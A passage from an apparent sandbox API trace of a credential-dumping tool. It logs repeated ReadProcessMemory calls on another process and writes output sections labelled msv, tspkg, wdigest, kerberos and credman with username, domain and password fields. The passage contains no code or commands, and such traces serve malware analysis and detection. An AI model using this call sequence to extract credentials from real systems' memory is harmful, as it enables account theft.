\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 6 [0196.134] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x6, lpOverlapped=0x0) returned 1 [0196.135] LocalFree (hMem=0x16bba0) returned 0x0 [0196.135] LocalFree (hMem=0x169240) returned 0x0 [0196.135] GetLastError () returned 0x0 [0196.135] SetLastError (dwErrCode=0x0) [0196.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\ndigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\ndigest :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.135] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.135] GetLastError () returned 0x0 [0196.135] SetLastError (dwErrCode=0x0) [0196.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09kerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=12, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09kerberos :\x09", lpUsedDefaultChar=0x0) returned 12 [0196.135] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xc, lpOverlapped=0x0) returned 1 [0196.135] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd362840, lpBuffer=0x10f940, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f940*, lpNumberOfBytesRead=0x0) returned 1 [0196.136] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4590, lpBuffer=0x10f890, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f890*, lpNumberOfBytesRead=0x0) returned 1 [0196.136] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.136] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c9780, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.136] LocalFree (hMem=0x164500) returned 0x0 [0196.136] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x181de0 [0196.136] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c9780, lpBuffer=0x181de0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181de0*, lpNumberOfBytesRead=0x0) returned 1 [0196.136] ConvertSidToStringSidW () returned 0x1 [0196.136] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x181c30 [0196.136] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1694f0, lpBuffer=0x181c30, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181c30*, lpNumberOfBytesRead=0x0) returned 1 [0196.136] IsTextUnicode (in: lpv=0x181c30, iSize=0, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 0 [0196.136] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x181c50 [0196.136] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x169500, lpBuffer=0x181c50, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181c50*, lpNumberOfBytesRead=0x0) returned 1 [0196.136] IsTextUnicode (in: lpv=0x181c50, iSize=0, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 0 [0196.136] GetLastError () returned 0x0 [0196.137] SetLastError (dwErrCode=0x0) [0196.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : ", cchWideChar=63, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : \r\n\x09 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 63 [0196.137] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x3f, lpOverlapped=0x0) returned 1 [0196.137] GetLastError () returned 0x0 [0196.137] SetLastError (dwErrCode=0x0) [0196.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(null)Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : ", cchWideChar=6, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(null)Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : \r\n\x09 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 6 [0196.137] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x6, lpOverlapped=0x0) returned 1 [0196.137] LocalFree (hMem=0x16bb80) returned 0x0 [0196.137] LocalFree (hMem=0x181de0) returned 0x0 [0196.137] GetLastError () returned 0x0 [0196.137] SetLastError (dwErrCode=0x0) [0196.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nerberos :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.137] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.138] GetLastError () returned 0x0 [0196.138] SetLastError (dwErrCode=0x0) [0196.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09ssp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09ssp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 7 [0196.138] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.138] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2178d0, lpBuffer=0x10fa20, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.138] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7c70, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.138] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d8080, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.138] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7d40, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.138] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7ba0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.138] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7860, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.138] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d72b0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.139] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7040, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.139] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c4370, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.139] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4110, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.139] GetLastError () returned 0x0 [0196.139] SetLastError (dwErrCode=0x0) [0196.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.139] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.139] GetLastError () returned 0x0 [0196.139] SetLastError (dwErrCode=0x0) [0196.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09credman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09credman :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.139] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.139] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x179fd0, lpBuffer=0x10fa40, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0196.140] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c92f0, lpBuffer=0x10fa00, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa00*, lpNumberOfBytesRead=0x0) returned 1 [0196.140] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x181de0 [0196.140] LocalFree (hMem=0x181de0) returned 0x0 [0196.140] GetLastError () returned 0x0 [0196.140] SetLastError (dwErrCode=0x0) [0196.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nredman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nredman :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.140] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.140] LocalFree (hMem=0x18dfa0) returned 0x0 [0196.140] LocalFree (hMem=0x18e030) returned 0x0 [0196.140] LocalFree (hMem=0x16bb60) returned 0x0 [0196.140] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1bb690, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0196.140] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0196.140] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a64c0, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0196.140] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb80 [0196.140] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a64e0, lpBuffer=0x16bb80, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0196.141] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6501, lpBuffer=0x10fac0, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fac0*, lpNumberOfBytesRead=0x0) returned 1 [0196.141] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x16bba0 [0196.141] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6500, lpBuffer=0x16bba0, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0196.141] GetLastError () returned 0x0 [0196.141] SetLastError (dwErrCode=0x0) [0196.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09msv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09msv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 7 [0196.141] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.141] GetLastError () returned 0x0 [0196.141] SetLastError (dwErrCode=0x0) [0196.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.141] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.141] GetLastError () returned 0x0 [0196.142] SetLastError (dwErrCode=0x0) [0196.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09tspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=9, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09tspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 9 [0196.142] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x9, lpOverlapped=0x0) returned 1 [0196.142] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf94b00, lpBuffer=0x10f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f960*, lpNumberOfBytesRead=0x0) returned 1 [0196.142] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6000, lpBuffer=0x10f8b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f8b0*, lpNumberOfBytesRead=0x0) returned 1 [0196.142] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.142] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1cc110, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.142] LocalFree (hMem=0x160a40) returned 0x0 [0196.142] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a60a0, lpBuffer=0x10f800, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f800*, lpNumberOfBytesRead=0x0) returned 1 [0196.142] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.142] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d6050, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.142] LocalFree (hMem=0x160a40) returned 0x0 [0196.142] GetLastError () returned 0x0 [0196.142] SetLastError (dwErrCode=0x0) [0196.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.143] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.143] GetLastError () returned 0x0 [0196.143] SetLastError (dwErrCode=0x0) [0196.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09wdigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09wdigest :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.143] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.143] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x18e030 [0196.143] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0212c0, lpBuffer=0x10fa38, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa38*, lpNumberOfBytesRead=0x0) returned 1 [0196.143] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187300, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.143] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187150, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.143] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x186e80, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.143] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b0c60, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.144] LocalFree (hMem=0x18e030) returned 0x0 [0196.144] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x169240 [0196.144] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b0c60, lpBuffer=0x169240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x169240*, lpNumberOfBytesRead=0x0) returned 1 [0196.144] ConvertSidToStringSidW () returned 0x1 [0196.144] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bbc0 [0196.144] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6560, lpBuffer=0x16bbc0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0196.144] IsTextUnicode (in: lpv=0x16bbc0, iSize=20, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0196.144] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bc00 [0196.144] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6540, lpBuffer=0x16bc00, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bc00*, lpNumberOfBytesRead=0x0) returned 1 [0196.144] IsTextUnicode (in: lpv=0x16bc00, iSize=18, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0196.144] GetLastError () returned 0x0 [0196.144] SetLastError (dwErrCode=0x0) [0196.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=70, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : ", lpUsedDefaultChar=0x0) returned 70 [0196.144] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x46, lpOverlapped=0x0) returned 1 [0196.144] GetLastError () returned 0x0 [0196.144] SetLastError (dwErrCode=0x0) [0196.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(null)Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=6, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(null)Username : XDUWTFONO$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : ", lpUsedDefaultChar=0x0) returned 6 [0196.145] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x6, lpOverlapped=0x0) returned 1 [0196.145] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.145] LocalFree (hMem=0x16bc00) returned 0x0 [0196.145] LocalFree (hMem=0x16bbe0) returned 0x0 [0196.145] LocalFree (hMem=0x169240) returned 0x0 [0196.145] GetLastError () returned 0x0 [0196.145] SetLastError (dwErrCode=0x0) [0196.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\ndigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\ndigest :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.145] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.145] GetLastError () returned 0x0 [0196.145] SetLastError (dwErrCode=0x0) [0196.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09kerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=12, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09kerberos :\x09", lpUsedDefaultChar=0x0) returned 12 [0196.145] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xc, lpOverlapped=0x0) returned 1 [0196.146] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd362840, lpBuffer=0x10f940, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f940*, lpNumberOfBytesRead=0x0) returned 1 [0196.146] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4590, lpBuffer=0x10f890, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f890*, lpNumberOfBytesRead=0x0) returned 1 [0196.146] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.146] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c9780, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.146] LocalFree (hMem=0x164500) returned 0x0 [0196.146] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a9350, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.146] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.146] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b6000, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.146] LocalFree (hMem=0x164500) returned 0x0 [0196.146] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x181de0 [0196.146] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b6000, lpBuffer=0x181de0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181de0*, lpNumberOfBytesRead=0x0) returned 1 [0196.146] ConvertSidToStringSidW () returned 0x1 [0196.146] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bbe0 [0196.146] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6580, lpBuffer=0x16bbe0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbe0*, lpNumberOfBytesRead=0x0) returned 1 [0196.147] IsTextUnicode (in: lpv=0x16bbe0, iSize=20, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.147] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bbc0 [0196.147] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a65a0, lpBuffer=0x16bbc0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0196.147] IsTextUnicode (in: lpv=0x16bbc0, iSize=18, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.147] GetLastError () returned 0x0 [0196.147] SetLastError (dwErrCode=0x0) [0196.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=70, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 